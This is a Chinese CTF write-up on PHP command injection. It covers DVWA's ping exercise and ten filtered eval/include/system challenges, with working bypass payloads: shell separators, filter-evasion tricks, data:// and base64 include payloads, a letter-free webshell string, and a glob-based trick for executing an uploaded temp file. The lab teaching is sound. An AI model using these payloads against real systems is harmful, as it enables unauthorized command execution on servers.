一、ctf-ping命令执行
这类题我拿DVWA中的Low,Medium,High来举例。
0.介绍一下 &,&&,|,||
A&B: 顺序执行多条命令,而不管命令是否执行成功
A&&B: 顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令
A|B: 管道命令,如:dir *.* /s/a | find /c \".exe\" 表示:先执行 dir 命令,对其输出的结果执行后面的 find 命令
A||B: 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
1.Low
1 <?php 2 3 if( isset( $_POST[ 'Submit' ] ) ) { 4 // Get input 5 $target = $_REQUEST[ 'ip' ]; 6 7 // Determine OS and execute the ping command. 8 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 9 // Windows 10 $cmd = shell_exec( 'ping ' . $target ); 11 } 12 else { 13 // *nix 14 $cmd = shell_exec( 'ping -c 4 ' . $target ); 15 } 16 17 // Feedback for the end user 18 $html .= "<pre>{$cmd}</pre>"; 19 } 20 21 ?>
stristr() 函数搜索字符串在另一字符串中的第一次出现,不区分大小写
php_uname(参数) 返回了运行 PHP 的操作系统的描述。
参数:'a':此为默认。 's':操作系统名称。 'n':主机名。 'r':版本名称。 'v':版本信息。 'm':机器类型。
该题基本未进行任何过滤。
命令执行漏洞利用(其中'&&'可进行替换):
127.0.0.1 && dir 文件路径
127.0.0.1 && ipconfig 网卡
127.0.0.1 && arp -a arp表
127.0.0.1 && regedit 注册表
127.0.0.1 && netstat -ano 端口信息
2.Medium
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?>
str_replace ( mixed $search , mixed $replace , mixed $subject , int &$count = ? ) : mixed
Search: 查找的目标值,也就是 needle。一个数组可以指定多个目标。
Replace: search 的替换值。一个数组可以被用来指定多重替换。
Subject: 执行替换的数组或者字符串。也就是 haystack。如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。
Count: 如果被指定,它的值将被设置为替换发生的次数。
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );//过滤了&&、;
加入了黑名单机制过滤了&&、;,但是没有过滤掉&、|、||所以依旧有漏洞存在。
命令执行漏洞利用:
1.可以用|、&、||等符号连接两条命令。
2.可以运用&&&、&;&连接两条命令。
127.0.0.1 | dir
127.0.0.1 || dir
127.0.0.1 &&& dir
127.0.0.1 &;& dir
127.0.0.1 & dir
3.High
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?>
相较于medium级别,进一步完善了黑名单,过滤了'&' ,';','| ','-','$','(',')','`','||'等字符,其中'| '后,有空格。
命令执行漏洞利用:没有过滤’|’:127.0.0.1 |dir
二、无输入框命令执行
我用10道题来进行分析(flag文件均在根目录下)
1.web1
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
过滤了flag,所以我们可以利用*(*代表任意字符(0个或多个))来进行绕过
/?c=system('ls /');(显示根目录下的文件夹列表)
/?c=system('cat /f*');
2.web2
1 <?php 2 3 error_reporting(0); 4 if(isset($_GET['c'])){ 5 $c = $_GET['c']; 6 if(!preg_match("/flag|system|php/i", $c)){ 7 eval($c); 8 } 9 10 }else{ 11 highlight_file(__FILE__); 12 }
在web1的基础上新过滤了system和php,我们可以利用其他函数替代system()
1 system() 2 passthru() 3 exec() 4 shell_exec() 5 popen() 6 proc_open() 7 pcntl_exec() 8 反引号 同shell_exec()
例如:?c=passthru("cat%20/f*");
3.web3
1 <?php 2 3 error_reporting(0); 4 if(isset($_GET['c'])){ 5 $c = $_GET['c']; 6 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ 7 eval($c); 8 } 9 10 }else{ 11 highlight_file(__FILE__); 12 }
在web2的基础上过滤了cat、sort、shell、'.'、空格、单引号。
空格绕过
1 ${IFS} 2 $IFS$9 3 {cat,flag.php} //用逗号实现了空格功能 4 %20 5 %09
cat绕过
1 more:一页一页的显示档案内容 2 less:与 more 类似 3 head:查看头几行 4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 5 tail:查看尾几行 6 nl:显示的时候,顺便输出行号 7 od:以二进制的方式读取档案内容 8 vi:一种编辑器,这个也可以查看 9 vim:一种编辑器,这个也可以查看 10 sort:可以查看 11 uniq:可以查看 12 file -f:报错出具体内容
1 ?c=passthru("more%09/f*");
4.web4
1 <?php 2 3 error_reporting(0); 4 if(isset($_GET['c'])){ 5 $c = $_GET['c']; 6 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ 7 eval($c); 8 } 9 10 }else{ 11 highlight_file(__FILE__); 12 }
过滤了分号和括号。使用伪协议实现命令执行(详细可以查看https://blog.csdn.net/qq_41617034/article/details/90381572)。
5.web
1 <?php 2 3 //flag in /flag 4 //error_reporting(0); 5 if(isset($_GET['c'])){ 6 $c = $_GET['c']; 7 if(!preg_match("/flag/i", $c)){ 8 include($c); 9 // echo $flag; 10 } 11 12 }else{ 13 highlight_file(__FILE__); 14 }
这里用到了include包含还过滤了flag,所以php://filter 就用不了。我们用data://协议
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
1 列子:?c=data://text/plain,<?php system('cat /f*');?>
6.web6
<?php // flag in /flag error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); // echo $flag; } }else{ highlight_file(__FILE__); }
与web5相比较过滤了php所以我们利用base64绕过。
1 例子:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7
7.web7
1 <?php 2 3 4 if(isset($_GET['c'])){ 5 $c = $_GET['c']; 6 if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\锛坾\锛墊\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ 7 eval($c); 8 } 9 10 }else{ 11 highlight_file(__FILE__); 12 }
这题用到的知识点是 php无参数函数构造(可以参考https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%95%E5%9B%9B%EF%BC%9Asession-id)
8.web8
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
解释>/dev/null 2>&1:
分解这个组合:“>/dev/null 2>&1” 为五部分。 1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"
所以我们只需要输入cat /flag||就可以
9.web9
过滤了字母和数字,只能利用一些特殊字符,同时也不能上传文件。(可参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)
?shell=$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
//2=system("cat /flag");
10.web10
1 <?php 2 3 4 if(isset($_GET['c'])){ 5 $c=$_GET['c']; 6 if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ 7 system($c); 8 } 9 }else{ 10 highlight_file(__FILE__); 11 }
利用网页上传文件。
.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。用. file执行文件,是不需
file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。但是执行.
/tmp/phpXXXXXX,也是有字母的。
Linux下的glob通配符:
*可以代替0个及以上任意字符
?可以代表1个任意字符
则/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????,但是因为能够匹配上/???/?????????这个通配符的文件有很多,而且由于前面的文件执行错误,导致后面的文件无法执行。我们可以对文件进行一一排除让我们需要的文件进行执行。
glob支持用[^x]的方法来构造“这个位置不是字符x”。
glob支持利用[0-9]来表示一个范围。(我们可以利用[@-[]来表示大写字母)
传入的code为?><?=. /???/????????[@-[];?>(绿色部分根据自己实际情况进行更改)
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <title>POST数据包POC</title> 7 </head> 8 <body> 9 <form action="http://49.232.149.138:10028/" method="post" enctype="multipart/form-data"> 10 <label for="file">文件名:</label> 11 <input type="file" name="file" id="file"><br> 12 <input type="submit" name="submit" value="提交"> 13 </form> 14 </body> 15 </html>
提交一个文件
#!/bin/sh ls
利用burpsuit进行抓包,利用命令输出flag。